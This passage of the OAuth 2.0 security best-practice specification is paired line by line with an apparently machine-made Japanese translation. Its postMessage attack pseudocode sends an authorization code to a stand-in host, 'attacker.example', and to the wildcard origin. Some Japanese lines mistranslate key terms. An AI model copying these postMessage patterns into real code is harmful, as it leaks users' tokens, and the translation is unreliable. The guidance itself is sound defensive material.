逆プロキシが外部から送信されたヘッダーを通過した場合、攻撃者は、その方法でセキュリティコントロールを回避するために、プロキシを介して偽造ヘッダー値をアプリケーションサーバーに直接送信しようとすることができます。たとえば、X-Forwarded-Forヘッダーを受け入れ、インバウンドリクエストの原点を追加するだけの逆プロキシの標準的な慣行です（リストにする）。アプリケーションサーバーで実行されるロジックに応じて、攻撃者は許可されたIPアドレスをヘッダーに追加して、保護を役に立たなくするだけです。
A reverse proxy MUST therefore sanitize any inbound requests to ensure the authenticity and integrity of all header values relevant for the security of the application servers.
したがって、逆プロキシは、アプリケーションサーバーのセキュリティに関連するすべてのヘッダー値の信頼性と整合性を確保するために、インバウンドリクエストを消毒する必要があります。
If an attacker were able to get access to the internal network between the proxy and application server, the attacker could also try to circumvent security controls in place. Therefore, it is essential to ensure the authenticity of the communicating entities. Furthermore, the communication link between the reverse proxy and application server MUST be protected against eavesdropping, injection, and replay of messages.
攻撃者がプロキシサーバーとアプリケーションサーバーの間の内部ネットワークにアクセスできる場合、攻撃者はまた、セキュリティコントロールを回避しようとすることができます。したがって、通信エンティティの信頼性を確保することが不可欠です。さらに、逆プロキシサーバーとアプリケーションサーバーの間の通信リンクは、メッセージの盗聴、注入、およびリプレイから保護する必要があります。
Refresh tokens are a convenient and user-friendly way to obtain new access tokens. They also add to the security of OAuth, since they allow the authorization server to issue access tokens with a short lifetime and reduced scope, thus reducing the potential impact of access token leakage.
更新トークンは、新しいアクセストークンを取得するための便利でユーザーフレンドリーな方法です。また、Authorization Serverが短い寿命と範囲の削減でアクセストークンを発行し、アクセストークン漏洩の潜在的な影響を減らすことができるため、OAuthのセキュリティを追加します。
Refresh tokens are an attractive target for attackers because they represent the full scope of access granted to a certain client, and they are not further constrained to a specific resource. If an attacker is able to exfiltrate and successfully replay a refresh token, the attacker will be able to mint access tokens and use them to access resource servers on behalf of the resource owner.
リフレッシュトークンは、特定のクライアントに付与されたアクセスの完全な範囲を表すため、攻撃者にとって魅力的なターゲットです。特定のリソースにさらに制約されていません。攻撃者が更新トークンを除去して正常にリプレイできる場合、攻撃者はアクセストークンをミントし、リソース所有者に代わってリソースサーバーにアクセスすることができます。
[RFC6749] already provides robust baseline protection by requiring
[RFC6749]は、既に堅牢なベースライン保護を必要とすることにより提供しています
* confidentiality of the refresh tokens in transit and storage,
* 輸送およびストレージにおける更新トークンの機密性、
* the transmission of refresh tokens over TLS-protected connections between authorization server and client,
* Authorization Serverとクライアント間のTLS保護された接続を介した更新トークンの送信、
* the authorization server to maintain and check the binding of a refresh token to a certain client and authentication of this client during token refresh, if possible, and
* リフレッシュトークンの特定のクライアントへのバインディングと、可能であれば、トークンの更新中にこのクライアントの認証を維持およびチェックする認定サーバー、および
* that refresh tokens cannot be generated, modified, or guessed.
* その更新トークンは、生成、変更、または推測することはできません。
[RFC6749] also lays the foundation for further (implementation-specific) security measures, such as refresh token expiration and revocation as well as refresh token rotation by defining respective error codes and response behaviors.
[RFC6749]は、それぞれのエラーコードと応答動作を定義することにより、更新トークンの有効期限や取り消しや更新トークンの回転など、さらなる（実装固有の）セキュリティ対策の基礎を築きます。
This specification gives recommendations beyond the scope of [RFC6749] and clarifications.
この仕様は、[RFC6749]の範囲を超えた推奨事項と説明を提供します。
Authorization servers MUST determine, based on a risk assessment, whether to issue refresh tokens to a certain client. If the authorization server decides not to issue refresh tokens, the client MAY obtain a new access token by utilizing other grant types, such as the authorization code grant type. In such a case, the authorization server may utilize cookies and persistent grants to optimize the user experience.
認証サーバーは、リスク評価に基づいて、特定のクライアントにトークンを更新するかどうかを決定する必要があります。認可サーバーが更新トークンを発行しないことを決定した場合、クライアントは、認証コードグラントタイプなど、他のグラントタイプを使用して新しいアクセストークンを取得できます。そのような場合、認証サーバーは、ユーザーエクスペリエンスを最適化するためにCookieと永続的なグラントを利用する場合があります。
If refresh tokens are issued, those refresh tokens MUST be bound to the scope and resource servers as consented by the resource owner. This is to prevent privilege escalation by the legitimate client and reduce the impact of refresh token leakage.
更新トークンが発行された場合、これらの更新トークンは、リソース所有者が同意したスコープとリソースサーバーにバインドする必要があります。これは、正当なクライアントによる特権のエスカレーションを防ぎ、リフレッシュトークンの漏洩の影響を減らすためです。
For confidential clients, [RFC6749] already requires that refresh tokens can only be used by the client for which they were issued.
機密クライアントの場合、[RFC6749]は、リフレッシュトークンが発行されたクライアントのみが使用できることを既に要求しています。
Authorization servers MUST utilize one of these methods to detect refresh token replay by malicious actors for public clients:
認可サーバーは、これらの方法のいずれかを利用して、パブリッククライアント向けの悪意のあるアクターによるリフレッシュトークンリプレイを検出する必要があります。
* *Sender-constrained refresh tokens:* the authorization server cryptographically binds the refresh token to a certain client instance, e.g., by utilizing [RFC8705] or [RFC9449].
* * Sender-Constraendeの更新トークン：* Authorization Serverは、[RFC8705]または[RFC9449]を使用することにより、特定のクライアントインスタンスに更新トークンを暗号化します。
* *Refresh token rotation:* the authorization server issues a new refresh token with every access token refresh response. The previous refresh token is invalidated, but information about the relationship is retained by the authorization server. If a refresh token is compromised and subsequently used by both the attacker and the legitimate client, one of them will present an invalidated refresh token, which will inform the authorization server of the breach. The authorization server cannot determine which party submitted the invalid refresh token, but it will revoke the active refresh token. This stops the attack at the cost of forcing the legitimate client to obtain a fresh authorization grant.
* *トークン回転の更新：* Authorization Serverは、アクセスするたびに新しい更新トークンを発行しますトークンリフレッシュ応答。以前の更新トークンは無効ですが、関係に関する情報は認可サーバーによって保持されます。更新トークンが侵害され、その後攻撃者と合法的なクライアントの両方が使用する場合、そのうちの1人は無効な更新トークンを提示し、認可サーバーに違反を通知します。Authorization Serverは、どのパーティが無効な更新トークンを提出したかを決定することはできませんが、アクティブな更新トークンが取り消されます。これにより、正当なクライアントに新たな認可グラントを取得するように強制するための犠牲を払って攻撃が停止します。
Implementation note: The grant to which a refresh token belongs may be encoded into the refresh token itself. This can enable an authorization server to efficiently determine the grant to which a refresh token belongs, and by extension, all refresh tokens that need to be revoked. Authorization servers MUST ensure the integrity of the refresh token value in this case, for example, using signatures.
実装注：更新トークンが属するグラントは、更新トークン自体にエンコードされる場合があります。これにより、認可サーバーは、更新トークンが属するグラントを効率的に決定できます。さらに、すべてのリフレッシュトークンを取り消す必要があります。認可サーバーは、この場合、署名を使用して、更新トークン値の整合性を確保する必要があります。
Authorization servers MAY revoke refresh tokens automatically in case of a security event, such as:
認可サーバーは、次のようなセキュリティイベントの場合、トークンを自動的にリフレッシュする場合があります。
* password change or
* パスワードの変更または
* logout at the authorization server.
* Authorization Serverでのログアウト。
Refresh tokens SHOULD expire if the client has been inactive for some time, i.e., the refresh token has not been used to obtain fresh access tokens for some time. The expiration time is at the discretion of the authorization server. It might be a global value or determined based on the client policy or the grant associated with the refresh token (and its sensitivity).
クライアントがしばらく非アクティブであった場合、リフレッシュトークンは期限切れになります。つまり、リフレッシュトークンはしばらくの間、新鮮なアクセストークンを取得するために使用されていません。有効期限は、認可サーバーの裁量にあります。それはグローバルな価値であるか、クライアントポリシーまたは更新トークン（およびその感度）に関連するグラントに基づいて決定される場合があります。
Resource servers may make access control decisions based on the identity of a resource owner for which an access token was issued, or based on the identity of a client in the client credentials grant. For example, [RFC9068] (JSON Web Token (JWT) Profile for OAuth 2.0 Access Tokens) describes a data structure for access tokens containing a sub claim defined as follows:
リソースサーバーは、アクセストークンが発行されたリソース所有者のIDに基づいて、またはクライアント資格認定のグラントのクライアントの身元に基づいて、アクセス制御決定を行う場合があります。たとえば、[RFC9068]（OAuth 2.0アクセストークンのJSON Webトークン（JWT）プロファイル）は、次のように定義されたサブクレームを含むアクセストークンのデータ構造を説明しています。
In cases of access tokens obtained through grants where a resource owner is involved, such as the authorization code grant, the value of "sub" SHOULD correspond to the subject identifier of the resource owner. In cases of access tokens obtained through grants where no resource owner is involved, such as the client credentials grant, the value of "sub" SHOULD correspond to an identifier the authorization server uses to indicate the client application.
認可コードグラントなどのリソース所有者が関与しているグラントを通じて得られたアクセストークンの場合、「サブ」の値は、リソース所有者のサブジェクト識別子に対応する必要があります。クライアント資格情報の付与など、リソース所有者が関与していないグラントを通じて取得されたアクセストークンの場合、「サブ」の値は、クライアントアプリケーションを示すために認可サーバーが使用する識別子に対応する必要があります。
If both options are possible, a resource server may mistake a client's identity for the identity of a resource owner. For example, if a client is able to choose its own client_id during registration with the authorization server, a malicious client may set it to a value identifying a resource owner (e.g., a sub value if OpenID Connect is used). If the resource server cannot properly distinguish between access tokens obtained with involvement of the resource owner and those without, the client may accidentally be able to access resources belonging to the resource owner.
両方のオプションが可能であれば、リソースサーバーは、クライアントの身元をリソース所有者のIDと間違えます。たとえば、クライアントが認可サーバーへの登録中に独自のclient_idを選択できる場合、悪意のあるクライアントは、リソース所有者を識別する値に設定できます（たとえば、OpenID Connectが使用されている場合はサブ値）。リソースサーバーが、リソース所有者の関与で取得したアクセストークンと存在しないアクセストークンを適切に区別できない場合、クライアントは誤ってリソース所有者に属するリソースにアクセスできる場合があります。
This attack potentially affects not only implementations using [RFC9068], but also similar, bespoke solutions.
この攻撃は、[RFC9068]を使用したものだけでなく、同様のオーダーメイドのソリューションを使用した実装だけでなく、潜在的に影響します。
Authorization servers SHOULD NOT allow clients to influence their client_id or any other claim that could cause confusion with a genuine resource owner if a common namespace for client IDs and user identifiers exists, such as in the sub claim example from [RFC9068] shown in Section 4.15 above. Where this cannot be avoided, authorization servers MUST provide other means for the resource server to distinguish between the two types of access tokens.
許可サーバーは、クライアントIDおよびユーザー識別子の共通名前空間が存在する場合、クライアントの_IDまたは本物のリソース所有者との混乱を引き起こす可能性のある他のクレームに影響を与えることを許可してはなりません。その上。これを避けられない場合、認可サーバーは、リソースサーバーが2種類のアクセストークンを区別するための他の手段を提供する必要があります。
As described in Section 4.4.1.9 of [RFC6819], the authorization request is susceptible to clickjacking attacks, also called user interface redressing. In such an attack, an attacker embeds the authorization endpoint user interface in an innocuous context. A user believing to interact with that context, for example, by clicking on buttons, inadvertently interacts with the authorization endpoint user interface instead. The opposite can be achieved as well: A user believing to interact with the authorization endpoint might inadvertently type a password into an attacker-provided input field overlaid over the original user interface. Clickjacking attacks can be designed such that users can hardly notice the attack, for example, using almost invisible iframes overlaid on top of other elements.
[RFC6819]のセクション4.4.1.9で説明されているように、認可リクエストは、ユーザーインターフェイス救済とも呼ばれる攻撃をクリックする可能性があります。このような攻撃では、攻撃者が無害なコンテキストで認可エンドポイントユーザーインターフェイスを埋め込みます。たとえば、ボタンをクリックしてそのコンテキストと対話すると信じているユーザーは、代わりに認可エンドポイントユーザーインターフェイスと不注意に対話します。逆のことも実現できます。認証エンドポイントと対話すると信じているユーザーは、攻撃者が提供する入力フィールドに、元のユーザーインターフェイス上でオーバーレイされた攻撃者が提供する入力フィールドに誤って入力する可能性があります。クリックジャック攻撃は、ユーザーが攻撃にほとんど気付かないように設計できます。たとえば、他の要素の上にオーバーレイされたほとんど目に見えないiframeを使用してください。
An attacker can use this vector to obtain the user's authentication credentials, change the scope of access granted to the client, and potentially access the user's resources.
攻撃者は、このベクトルを使用してユーザーの認証資格情報を取得し、クライアントに付与されたアクセスの範囲を変更し、ユーザーのリソースにアクセスする可能性があります。
Authorization servers MUST prevent clickjacking attacks. Multiple countermeasures are described in [RFC6819], including the use of the X-Frame-Options HTTP response header field and frame-busting JavaScript. In addition to those, authorization servers SHOULD also use Content Security Policy (CSP) level 2 [W3C.CSP-2] or greater.
認可サーバーは、クリックジャック攻撃を防ぐ必要があります。[RFC6819]で複数の対策が説明されています。これには、XフレームオプションHTTP応答ヘッダーフィールドの使用やフレームバストJavaScriptが含まれます。それらに加えて、認可サーバーはコンテンツセキュリティポリシー（CSP）レベル2 [W3C.CSP-2]以上を使用する必要があります。
To be effective, CSP must be used on the authorization endpoint and, if applicable, other endpoints used to authenticate the user and authorize the client (e.g., the device authorization endpoint, login pages, error pages, etc.). This prevents framing by unauthorized origins in user agents that support CSP. The client MAY permit being framed by some other origin than the one used in its redirection endpoint. For this reason, authorization servers SHOULD allow administrators to configure allowed origins for particular clients and/or for clients to register these dynamically.
効果的であるためには、CSPを認可エンドポイントで使用する必要があり、該当する場合は、ユーザーの認証とクライアントの認証に使用される他のエンドポイント（例：デバイス認証エンドポイント、ログインページ、エラーページなど）。これにより、CSPをサポートするユーザーエージェントの不正な起源によるフレーミングを防ぎます。クライアントは、リダイレクトエンドポイントで使用されているエンドポイントで使用されているもの以外の起源に囲まれていることを許可する場合があります。このため、認可サーバーは、管理者が特定のクライアントおよび/またはクライアントがこれらを動的に登録できるように許可されたオリジンを構成できるようにする必要があります。
Using CSP allows authorization servers to specify multiple origins in a single response header field and to constrain these using flexible patterns (see [W3C.CSP-2] for details). Level 2 of CSP provides a robust mechanism for protecting against clickjacking by using policies that restrict the origin of frames (by using frame-ancestors) together with those that restrict the sources of scripts allowed to execute on an HTML page (by using script-src). A non-normative example of such a policy is shown in the following listing:
CSPを使用すると、認可サーバーが単一の応答ヘッダーフィールドで複数の起源を指定し、柔軟なパターンを使用してこれらを制約することができます（詳細については[w3c.csp-2]を参照）。CSPのレベル2は、フレームの起源を（フレームアンセストを使用して）制限するポリシーを使用してクリックジャックから保護するための堅牢なメカニズムを提供し、HTMLページで実行できるスクリプトのソースを制限するもの（スクリプト-SRCを使用して））。このようなポリシーの非規範的な例は、次のリストに示されています。
HTTP/1.1 200 OK
Content-Security-Policy: frame-ancestors https://ext.example.org:8000
Content-Security-Policy: script-src 'self'
X-Frame-Options: ALLOW-FROM https://ext.example.org:8000
...
Because some user agents do not support [W3C.CSP-2], this technique SHOULD be combined with others, including those described in [RFC6819], unless such legacy user agents are explicitly unsupported by the authorization server. Even in such cases, additional countermeasures SHOULD still be employed.
一部のユーザーエージェントは[W3C.CSP-2]をサポートしていないため、この手法は、そのようなレガシーユーザーエージェントが認証サーバーによって明示的にサポートされていない限り、[RFC6819]に記載されているものを含む他の手法と組み合わせる必要があります。そのような場合でも、追加の対策を採用する必要があります。
If the authorization response is sent with in-browser communication techniques like postMessage [WHATWG.postmessage_api] instead of HTTP redirects, messages may inadvertently be sent to malicious origins or injected from malicious origins.
HTTPリダイレクトの代わりに、PostMessage [whatwg.postmessage_api]のようなブラウザ内通信技術を使用して認可応答が送信される場合、メッセージは不注意に悪意のある起源に送信されるか、悪意のある起源から注入されます。
The following non-normative pseudocode examples of attacks using in-browser communication are described in [research.rub].
ブラウザー内通信を使用した攻撃の以下の非規範的な擬似コード例については、[Research.rub]に記載されています。
When sending the authorization response or token response via postMessage, the authorization server sends the response to the wildcard origin "*" instead of the client's origin. When the window to which the response is sent is controlled by an attacker, the attacker can read the response.
PostMessageを介して認証応答またはトークン応答を送信する場合、認可サーバーは、クライアントの起源ではなく、WildCard Origin "*"への応答を送信します。応答が送信されるウィンドウが攻撃者によって制御されると、攻撃者は応答を読むことができます。
window.opener.postMessage(
{
code: "ABC",
state: "123"
},
"*" // any website in the opener window can receive the message
)
When sending the authorization response or token response via postMessage, the authorization server may not check the receiver origin against the redirection URI and instead, for example, may send the response to an origin provided by an attacker. This is analogous to the attack described in Section 4.1.
PostMessageを介して認証応答またはトークン応答を送信する場合、認可サーバーは、リダイレクトURIに対して受信機の原点を確認できず、代わりに、攻撃者が提供する原点に応答を送信する場合があります。これは、セクション4.1で説明されている攻撃に類似しています。
window.opener.postMessage(
{
code: "ABC",
state: "123"
},
"https://attacker.example" // attacker-provided value
)
A client that expects the authorization response or token response via postMessage may not validate the sender origin of the message. This may allow an attacker to inject an authorization response or token response into the client.
認可応答またはポストメサージによるトークン応答を期待するクライアントは、メッセージの送信者の原点を検証しない場合があります。これにより、攻撃者はクライアントに認可応答またはトークン応答を注入することができます。
In the case of a maliciously injected authorization response, the attack is a variant of the CSRF attacks described in Section 4.7. The countermeasures described in Section 4.7 apply to this attack as well.
悪意のある噴射認可対応の場合、攻撃はセクション4.7で説明されているCSRF攻撃のバリアントです。セクション4.7で説明されている対策もこの攻撃にも適用されます。
In the case of a maliciously injected token response, sender-constrained access tokens as described in Section 4.10.1 may prevent the attack under some circumstances, but additional countermeasures as described in Section 4.17.2 are generally required.
悪意のある注入されたトークン応答の場合、セクション4.10.1で説明されているように送信者が制約したアクセストークンは、状況によっては攻撃を防ぐことができますが、セクション4.17.2で説明されている追加の対策が一般的に必要です。
When comparing client receiver origins against pre-registered origins, authorization servers MUST utilize exact string matching as described in Section 4.1.3. Authorization servers MUST send postMessages to trusted client receiver origins, as shown in the following, non-normative example:
クライアントレシーバーの起源を事前に登録された起源と比較する場合、認可サーバーは、セクション4.1.3で説明されているように、正確な文字列マッチングを利用する必要があります。認可サーバーは、以下の非規範的な例に示すように、信頼できるクライアントレシーバーの起源にポストメスを送信する必要があります。
window.opener.postMessage(
{
code: "ABC",
state: "123"
},
"https://client.example" // use explicit client origin
)
Wildcard origins like "*" in postMessage MUST NOT be used, as attackers can use them to leak a victim's in-browser message to malicious origins. Both measures contribute to the prevention of leakage of authorization codes and access tokens (see Section 4.1).
攻撃者はそれらを使用して被害者のブラウザ内のメッセージを悪意のある起源に漏らすことができるため、ポストメッサージの「*」のようなワイルドカードの起源を使用してはなりません。どちらの措置も、認可コードとアクセストークンの漏洩の防止に貢献しています（セクション4.1を参照）。
Clients MUST prevent injection of in-browser messages on the client receiver endpoint. Clients MUST utilize exact string matching to compare the initiator origin of an in-browser message with the authorization server origin, as shown in the following, non-normative example:
クライアントは、クライアントレシーバーのエンドポイントでブラウザー内のメッセージのインジェクションを防ぐ必要があります。クライアントは、正確な文字列マッチングを利用して、ブラウザー内のメッセージのイニシエーターの起源を認証サーバーの起源と比較する必要があります。
window.addEventListener("message", (e) => {
// validate exact authorization server origin
if (e.origin === "https://honest.as.example") {
// process e.data.code and e.data.state
}
})
Since in-browser communication flows only apply a different communication technique (i.e., postMessage instead of HTTP redirect), all measures protecting the authorization response listed in Section 2.1 MUST be applied equally.
ブラウザ内通信フローは、異なる通信手法（つまり、HTTPリダイレクトの代わりにポストメッサージ）を適用するだけなので、セクション2.1にリストされている認可応答を保護するすべての測定を等しく適用する必要があります。
This document has no IANA actions.
このドキュメントにはIANAアクションがありません。
Security considerations are described in Sections 2, 3, and 4.
セキュリティ上の考慮事項については、セクション2、3、および4で説明します。
[BCP195] Best Current Practice 195,
<https://www.rfc-editor.org/info/bcp195>.
At the time of writing, this BCP comprises the following:
Moriarty, K. and S. Farrell, "Deprecating TLS 1.0 and TLS
1.1", BCP 195, RFC 8996, DOI 10.17487/RFC8996, March 2021,
<https://www.rfc-editor.org/info/rfc8996>.
Sheffer, Y., Saint-Andre, P., and T. Fossati,
"Recommendations for Secure Use of Transport Layer
Security (TLS) and Datagram Transport Layer Security
(DTLS)", BCP 195, RFC 9325, DOI 10.17487/RFC9325, November
2022, <https://www.rfc-editor.org/info/rfc9325>.
[RFC3986] Berners-Lee, T., Fielding, R., and L. Masinter, "Uniform
Resource Identifier (URI): Generic Syntax", STD 66,
RFC 3986, DOI 10.17487/RFC3986, January 2005,
<https://www.rfc-editor.org/info/rfc3986>.
[RFC6749] Hardt, D., Ed., "The OAuth 2.0 Authorization Framework",
RFC 6749, DOI 10.17487/RFC6749, October 2012,
<https://www.rfc-editor.org/info/rfc6749>.
[RFC6750] Jones, M. and D. Hardt, "The OAuth 2.0 Authorization
Framework: Bearer Token Usage", RFC 6750,
DOI 10.17487/RFC6750, October 2012,
<https://www.rfc-editor.org/info/rfc6750>.
[RFC6819] Lodderstedt, T., Ed., McGloin, M., and P. Hunt, "OAuth 2.0
Threat Model and Security Considerations", RFC 6819,
DOI 10.17487/RFC6819, January 2013,
<https://www.rfc-editor.org/info/rfc6819>.
[RFC7521] Campbell, B., Mortimore, C., Jones, M., and Y. Goland,
"Assertion Framework for OAuth 2.0 Client Authentication
and Authorization Grants", RFC 7521, DOI 10.17487/RFC7521,
May 2015, <https://www.rfc-editor.org/info/rfc7521>.
[RFC7523] Jones, M., Campbell, B., and C. Mortimore, "JSON Web Token
(JWT) Profile for OAuth 2.0 Client Authentication and
Authorization Grants", RFC 7523, DOI 10.17487/RFC7523, May
2015, <https://www.rfc-editor.org/info/rfc7523>.
[RFC8252] Denniss, W. and J. Bradley, "OAuth 2.0 for Native Apps",
BCP 212, RFC 8252, DOI 10.17487/RFC8252, October 2017,
<https://www.rfc-editor.org/info/rfc8252>.
[RFC8414] Jones, M., Sakimura, N., and J. Bradley, "OAuth 2.0
Authorization Server Metadata", RFC 8414,
DOI 10.17487/RFC8414, June 2018,
<https://www.rfc-editor.org/info/rfc8414>.
[RFC8705] Campbell, B., Bradley, J., Sakimura, N., and T.
Lodderstedt, "OAuth 2.0 Mutual-TLS Client Authentication
and Certificate-Bound Access Tokens", RFC 8705,
DOI 10.17487/RFC8705, February 2020,
<https://www.rfc-editor.org/info/rfc8705>.
[RFC9068] Bertocci, V., "JSON Web Token (JWT) Profile for OAuth 2.0
Access Tokens", RFC 9068, DOI 10.17487/RFC9068, October
2021, <https://www.rfc-editor.org/info/rfc9068>.
[arXiv.1508.04324v2]
Mladenov, V., Mainka, C., and J. Schwenk, "On the security
of modern Single Sign-On Protocols: Second-Order
Vulnerabilities in OpenID Connect", arXiv:1508.04324v2,
DOI 10.48550/arXiv.1508.04324, 7 January 2016,
<https://arxiv.org/abs/1508.04324v2/>.
[arXiv.1601.01229]
Fett, D., Küsters, R., and G. Schmitz, "A Comprehensive
Formal Security Analysis of OAuth 2.0", arXiv:1601.01229,
DOI 10.48550/arXiv.1601.01229, 6 January 2016,
<https://arxiv.org/abs/1601.01229/>.
[arXiv.1704.08539]
Fett, D., Küsters, R., and G. Schmitz, "The Web SSO
Standard OpenID Connect: In-Depth Formal Security Analysis
and Security Guidelines", arXiv:1704.08539,
DOI 10.48550/arXiv.1704.08539, 27 April 2017,
<https://arxiv.org/abs/1704.08539/>.
[arXiv.1901.11520]
Fett, D., Hosseyni, P., and R. Küsters, "An Extensive
Formal Security Analysis of the OpenID Financial-grade
API", arXiv:1901.11520, DOI 10.48550/arXiv.1901.11520, 31
January 2019, <https://arxiv.org/abs/1901.11520/>.
[bug.chromium]
"Referer header includes URL fragment when opening link
using New Tab", Chromium Issue Tracker, Issue ID:
40076763, <https://issues.chromium.org/issues/40076763>.
[JWT-ENCODED-STATE]
Bradley, J., Lodderstedt, T., and H. Zandbelt, "Encoding
claims in the OAuth 2 state parameter using a JWT", Work
in Progress, Internet-Draft, draft-bradley-oauth-jwt-
encoded-state-09, 4 November 2018,
<https://datatracker.ietf.org/doc/html/draft-bradley-
oauth-jwt-encoded-state-09>.
[OAuth-V2.1]
Hardt, D., Parecki, A., and T. Lodderstedt, "The OAuth 2.1
Authorization Framework", Work in Progress, Internet-
Draft, draft-ietf-oauth-v2-1-12, 15 November 2024,
<https://datatracker.ietf.org/doc/html/draft-ietf-oauth-
v2-1-12>.
[OAuth.Post]
Jones, M. and B. Campbell, "OAuth 2.0 Form Post Response
Mode", The OpenID Foundation, 27 April 2015,
<https://openid.net/specs/oauth-v2-form-post-response-
mode-1_0.html>.
[OAuth.Responses]
de Medeiros, B., Ed., Scurtescu, M., Tarjan, P., and M.
Jones, "OAuth 2.0 Multiple Response Type Encoding
Practices", The OpenID Foundation, 25 February 2014,
<https://openid.net/specs/oauth-v2-multiple-response-
types-1_0.html>.
[OpenID.Core]
Sakimura, N., Bradley, J., Jones, M., de Medeiros, B., and
C. Mortimore, "OpenID Connect Core 1.0 incorporating
errata set 2", The OpenID Foundation, 15 December 2023,
<https://openid.net/specs/openid-connect-core-1_0.html>.
[OpenID.Discovery]
Sakimura, N., Bradley, J., Jones, M., and E. Jay, "OpenID
Connect Discovery 1.0 incorporating errata set 2", The
OpenID Foundation, 15 December 2023,
<https://openid.net/specs/openid-connect-discovery-
1_0.html>.
[OpenID.JARM]
Lodderstedt, T. and B. Campbell, "Financial-grade API: JWT
Secured Authorization Response Mode for OAuth 2.0 (JARM)",
The OpenID Foundation, 17 October 2018,
<https://openid.net/specs/openid-financial-api-jarm.html>.
[owasp.redir]
OWASP Foundation, "Unvalidated Redirects and Forwards
Cheat Sheet", OWASP Cheat Sheet Series,
<https://cheatsheetseries.owasp.org/cheatsheets/
Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html>.
[research.cmu]
Chen, E., Pei, Y., Chen, S., Tian, Y., Kotcher, R., and P.
Tague, "OAuth Demystified for Mobile Application
Developers", CCS '14: Proceedings of the 2014 ACM SIGSAC
Conference on Computer and Communications Security, pp.
892-903, DOI 10.1145/2660267.2660323, November 2014,
<https://www.microsoft.com/en-us/research/wp-
content/uploads/2016/02/OAuthDemystified.pdf>.
[research.jcs_14]
Bansal, C., Bhargavan, K., Delignat-Lavaud, A., and S.
Maffeis, "Discovering concrete attacks on website
authorization by formal analysis", Journal of Computer
Security, vol. 22, no. 4, pp. 601-657, DOI 10.3233/JCS-
140503, 23 April 2014,
<https://www.doc.ic.ac.uk/~maffeis/papers/jcs14.pdf>.
[research.rub]
Jannett, L., Mladenov, V., Mainka, C., and J. Schwenk,
"DISTINCT: Identity Theft using In-Browser Communications
in Dual-Window Single Sign-On", CCS '22: Proceedings of
the 2022 ACM SIGSAC Conference on Computer and
Communications Security, DOI 10.1145/3548606.3560692, 7
November 2022,
<https://dl.acm.org/doi/pdf/10.1145/3548606.3560692>.
[research.rub2]
Fries, C., "Security Analysis of Real-Life OpenID Connect
Implementations", Master's thesis, Ruhr-Universität Bochum
(RUB), 20 December 2020,
<https://www.nds.rub.de/media/ei/arbeiten/2021/05/03/
masterthesis.pdf>.
[research.ubc]
Sun, S.-T. and K. Beznosov, "The Devil is in the
(Implementation) Details: An Empirical Analysis of OAuth
SSO Systems", Proceedings of the 2012 ACM conference on
Computer and communications security (CCS '12), pp.
378-390, DOI 10.1145/2382196.2382238, October 2012,
<https://css.csail.mit.edu/6.858/2012/readings/oauth-
sso.pdf>.
[research.udel]
Liu, D., Hao, S., and H. Wang, "All Your DNS Records Point
to Us: Understanding the Security Threats of Dangling DNS
Records", CCS '16: Proceedings of the 2016 ACM SIGSAC
Conference on Computer and Communications Security, pp.
1414-1425, DOI 10.1145/2976749.2978387, 24 October 2016,
<https://dl.acm.org/doi/pdf/10.1145/2976749.2978387>.
[RFC2119] Bradner, S., "Key words for use in RFCs to Indicate
Requirement Levels", BCP 14, RFC 2119,
DOI 10.17487/RFC2119, March 1997,
<https://www.rfc-editor.org/info/rfc2119>.
[RFC7591] Richer, J., Ed., Jones, M., Bradley, J., Machulak, M., and
P. Hunt, "OAuth 2.0 Dynamic Client Registration Protocol",
RFC 7591, DOI 10.17487/RFC7591, July 2015,
<https://www.rfc-editor.org/info/rfc7591>.
[RFC7636] Sakimura, N., Ed., Bradley, J., and N. Agarwal, "Proof Key
for Code Exchange by OAuth Public Clients", RFC 7636,
DOI 10.17487/RFC7636, September 2015,
<https://www.rfc-editor.org/info/rfc7636>.
[RFC8174] Leiba, B., "Ambiguity of Uppercase vs Lowercase in RFC
2119 Key Words", BCP 14, RFC 8174, DOI 10.17487/RFC8174,
May 2017, <https://www.rfc-editor.org/info/rfc8174>.
[RFC8707] Campbell, B., Bradley, J., and H. Tschofenig, "Resource
Indicators for OAuth 2.0", RFC 8707, DOI 10.17487/RFC8707,
February 2020, <https://www.rfc-editor.org/info/rfc8707>.
[RFC9101] Sakimura, N., Bradley, J., and M. Jones, "The OAuth 2.0
Authorization Framework: JWT-Secured Authorization Request
(JAR)", RFC 9101, DOI 10.17487/RFC9101, August 2021,
<https://www.rfc-editor.org/info/rfc9101>.
[RFC9110] Fielding, R., Ed., Nottingham, M., Ed., and J. Reschke,
Ed., "HTTP Semantics", STD 97, RFC 9110,
DOI 10.17487/RFC9110, June 2022,
<https://www.rfc-editor.org/info/rfc9110>.
[RFC9126] Lodderstedt, T., Campbell, B., Sakimura, N., Tonge, D.,
and F. Skokan, "OAuth 2.0 Pushed Authorization Requests",
RFC 9126, DOI 10.17487/RFC9126, September 2021,
<https://www.rfc-editor.org/info/rfc9126>.
[RFC9207] Meyer zu Selhausen, K. and D. Fett, "OAuth 2.0
Authorization Server Issuer Identification", RFC 9207,
DOI 10.17487/RFC9207, March 2022,
<https://www.rfc-editor.org/info/rfc9207>.
[RFC9396] Lodderstedt, T., Richer, J., and B. Campbell, "OAuth 2.0
Rich Authorization Requests", RFC 9396,
DOI 10.17487/RFC9396, May 2023,
<https://www.rfc-editor.org/info/rfc9396>.
[RFC9440] Campbell, B. and M. Bishop, "Client-Cert HTTP Header
Field", RFC 9440, DOI 10.17487/RFC9440, July 2023,
<https://www.rfc-editor.org/info/rfc9440>.
[RFC9449] Fett, D., Campbell, B., Bradley, J., Lodderstedt, T.,
Jones, M., and D. Waite, "OAuth 2.0 Demonstrating Proof of
Possession (DPoP)", RFC 9449, DOI 10.17487/RFC9449,
September 2023, <https://www.rfc-editor.org/info/rfc9449>.
[TOKEN-BINDING]
Jones, M., Campbell, B., Bradley, J., and W. Denniss,
"OAuth 2.0 Token Binding", Work in Progress, Internet-
Draft, draft-ietf-oauth-token-binding-08, 19 October 2018,
<https://datatracker.ietf.org/doc/html/draft-ietf-oauth-
token-binding-08>.
[W3C.CSP-2]
West, M., Barth, A., and D. Veditz, "Content Security
Policy Level 2", W3C Recommendation, December 2016,
<https://www.w3.org/TR/2016/REC-CSP2-20161215/>. Latest
version available at <https://www.w3.org/TR/CSP2/>.
[W3C.webappsec-referrer-policy]
Eisinger, J. and E. Stark, "Referrer Policy", 26 January
2017,
<https://www.w3.org/TR/2017/CR-referrer-policy-20170126/>.
Latest version available at
<https://www.w3.org/TR/referrer-policy/>.
[W3C.WebAuthn]
Hodges, J., Jones, J.C., Jones, M.B., Kumar, A., and E.
Lundberg, "Web Authentication: An API for accessing Public
Key Credentials Level 2", W3C Recommendation, 8 April
